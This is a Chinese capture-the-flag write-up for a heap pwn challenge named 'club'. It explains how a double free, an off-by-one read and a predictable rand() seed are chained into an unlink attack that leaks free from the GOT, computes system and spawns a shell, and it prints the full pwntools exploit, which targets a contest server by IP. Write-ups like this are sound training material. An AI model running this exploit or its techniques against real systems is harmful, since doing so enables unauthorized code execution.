第四题
double free的题
但是开了挺多保护的
这里需要一些unlink的知识,如果不会以下是参考
http://cb.drops.wiki/drops/tips-16610.html
http://cb.drops.wiki/drops/tips-7326.html
pwndbg> checksec
[*] '/media/psf/Home/MyCTF/kanxue/pwn/4-BPG-club/club'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
在free的时候并没有将指针置零,可以多次free
另外程序还有一个漏洞,
程序在做read的时候,没有加上'\x00',有一个off-by-one的一字节漏洞,..
继续往下看
在guess_a_randnum函数中,程序调用的是rand(),事实上,这是一个伪随机函数,
这个函数中,当我们猜中randnum后,程序会讲seed地址给我们打印出来,那么我们将获取一个地址
get ...我们能获取地址,意味着我就可以做unlink了
rand()的值决定与srand(&seed) 当这个我们知道&seed的时候,我们就可以去预测rand()的值,
那么我们可以去暴力猜测 seed,然后再去预测下一个rand()
def guess_a_randnum(num):
io.recvuntil('>')
io.sendline(str('5'))
io.recvuntil('>')
io.sendline(str(num))
def guess_seed(num):
for i in xrange(0x148,0x7ffff000,0x1000):
#i = i<<12
#i += 0x148 #seed offset
libc.srand(i)
randnum = int(libc.rand())
if randnum == int(num):
return libc.rand()
print 'seed' ,i
return 0
guess_a_randnum(str(0))
n = io.recvuntil('is ')
num = io.recvuntil('!')[:-1]
print '[*]rand1='+num
a=guess_seed(num)
guess_a_randnum(a)
io.recvuntil('You get a secret:')
seed_addr = int(io.recvuntil('!')[:-1])
log.info("seed_addr: 0x%x" % int(seed_addr))
通过这样的方法,我们能获取seed的指针地址
进一步,我们可以计算获取free_got_addr,一个bss地址
free_got_addr = seed_addr-0x202148+0x202018
p_addr = seed_addr-0x202148+0x202110
log.info('free_got_addr:'+hex(free_got_addr))
那么下一步,我们的思路就是,泄漏libc地址,我们这个时候有了一个free的got地址,
我们可以构造 paload 去泄漏地址,然后计算system偏移 最后getshell
首先我们构造三个chunk
get_a_box(1,0x30)
get_a_box(2,0x100)
get_a_box(3,0x110)
然后将他free掉,这个时候指针并没有清零
然后再去创建第四块
第四块要比之前free掉的两块都要大
然后伪造 fd bk
紧着我们去free掉 第三块,去触发unlink
这个时候堆上的情况如下:
进一步 。我们去构造leave_me_a_message(2,p64(1)+p64(1)+p64(free_got_addr))
这样的payload 可以将free地址打印出来
从而我们可以获取free的地址
最后,我们可以计算system在内存中的地址
然后传入
我们会发现这个时候 fd_nextsize 指向了system地址
那么下一步我们去传入system的参数/bin/sh
最后再free 一次 第三个块触发一次unlink 就能get shell了
完整exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from ctypes import *
context.log_level = 'debug'
context.terminal =['tmux','splitw','-h']
if len(sys.argv) >1:
debug = False
else:
debug = True
if debug:
libc= CDLL('/lib/x86_64-linux-gnu/libc.so.6')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process('club')
else:
libc = CDLL('libc.so.6')
lib = ELF('libc.so.6')
io = remote('123.206.22.95',8888)
#main_arena_offset = lib.symbols['main_arena']
system_offset = lib.symbols['system']
binsh_offset = lib.search('/bin/sh').next()
free_offset = lib.symbols['free']
log.info("system_offset:0x%x" % system_offset)
log.info("binsh_offset:0x%x" % binsh_offset)
log.info("free_offset: 0x%X" % free_offset)
def get_a_box(index,size):
io.recvuntil('>')
io.sendline(str('1'))
io.recvuntil('>')
io.sendline(str(index))
io.recvuntil('>')
io.sendline(str(size))
def destory_a_box(index):
io.recvuntil('>')
io.sendline(str('2'))
io.recvuntil('>')
io.sendline(str(index))
def leave_me_a_message(index,message):
io.recvuntil('>')
io.sendline(str('3'))
io.recvuntil('>')
io.sendline(str(index))
time.sleep(1)
io.sendline(message)
def show_message(index):
io.recvuntil('>')
io.sendline(str('4'))
io.recvuntil('>')
io.sendline(str(index))
def guess_a_randnum(num):
io.recvuntil('>')
io.sendline(str('5'))
io.recvuntil('>')
io.sendline(str(num))
def guess_seed(num):
for i in xrange(0x148,0x7ffff000,0x1000):
#i = i<<12
#i += 0x148 #seed offset
libc.srand(i)
randnum = int(libc.rand())
if randnum == int(num):
return libc.rand()
print 'seed' ,i
return 0
guess_a_randnum(str(0))
n = io.recvuntil('is ')
num = io.recvuntil('!')[:-1]
print '[*]rand1='+num
# get seed addr and base addr
a=guess_seed(num)
guess_a_randnum(a)
io.recvuntil('You get a secret:')
seed_addr = int(io.recvuntil('!')[:-1])
log.info("seed_addr: 0x%x" % int(seed_addr))
free_got_addr = seed_addr-0x202148+0x202018
p_addr = seed_addr-0x202148+0x202110
log.info('free_got_addr:'+hex(free_got_addr))
# fake chunk and get shell
fake_fd = p64(p_addr-0x18)
fake_bk = p64(p_addr-0x10)
get_a_box(1,0x30)
get_a_box(2,0x100)
get_a_box(3,0x110)
raw_input('get 3 box')
#gdb.attach(io)
raw_input('destory_2_box')
destory_a_box(2)
destory_a_box(3)
pause()
fake_fd = p64(p_addr-0x18)
fake_bk = p64(p_addr-0x10)
payload = p64(0)+p64(0x101)+fake_fd+fake_bk+'A'*(0x100-0x20)+p64(0x100)+p64(0x220-0x100)
raw_input('off by one to leak ')
raw_input('get 4 box size 0x220')
get_a_box(4,0x220)
raw_input('fill the 4 box')
leave_me_a_message(4,payload)
raw_input('destory_3_box')
destory_a_box(3)
raw_input('leak got addr')
log.info('leaking address...')
leave_me_a_message(2,p64(1)+p64(1)+p64(free_got_addr))
raw_input('leakk.......')
#gdb.attach(io)
raw_input('leak free addr')
show_message(1)
pause()
free_addr = u64(io.recvuntil('You have 6 operation :')[1:7]+'\x00'*2)
pause()
system_addr = int(free_addr)-free_offset+system_offset
log.info('system address:'+hex(system_addr))
gdb.attach(io)
raw_input('get shell~~~~~~')
leave_me_a_message(1,p64(system_addr))
pause()
leave_me_a_message(3,'/bin/sh')
raw_input('unlink to get shell')
destory_a_box(3)
pause()
# log.info("leak .....libc.....")
# get_a_box(1,0x80)
# get_a_box(2,0xa0)
# get_a_box(3,0xb0)
# destory_a_box(2)
# pause()
# #gdb.attach(io)
# raw_input('leak.....libc')
# show_message(2)
# main_arena_addr = u64(io.recvuntil('You have 6 operation :')[1:7]+'\x00'*2)
# print hex(main_arena_addr)
# #log.info("main_arena_addr: 0x%x" % hex(main_arena_addr))
# pause()
io.interactive()
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界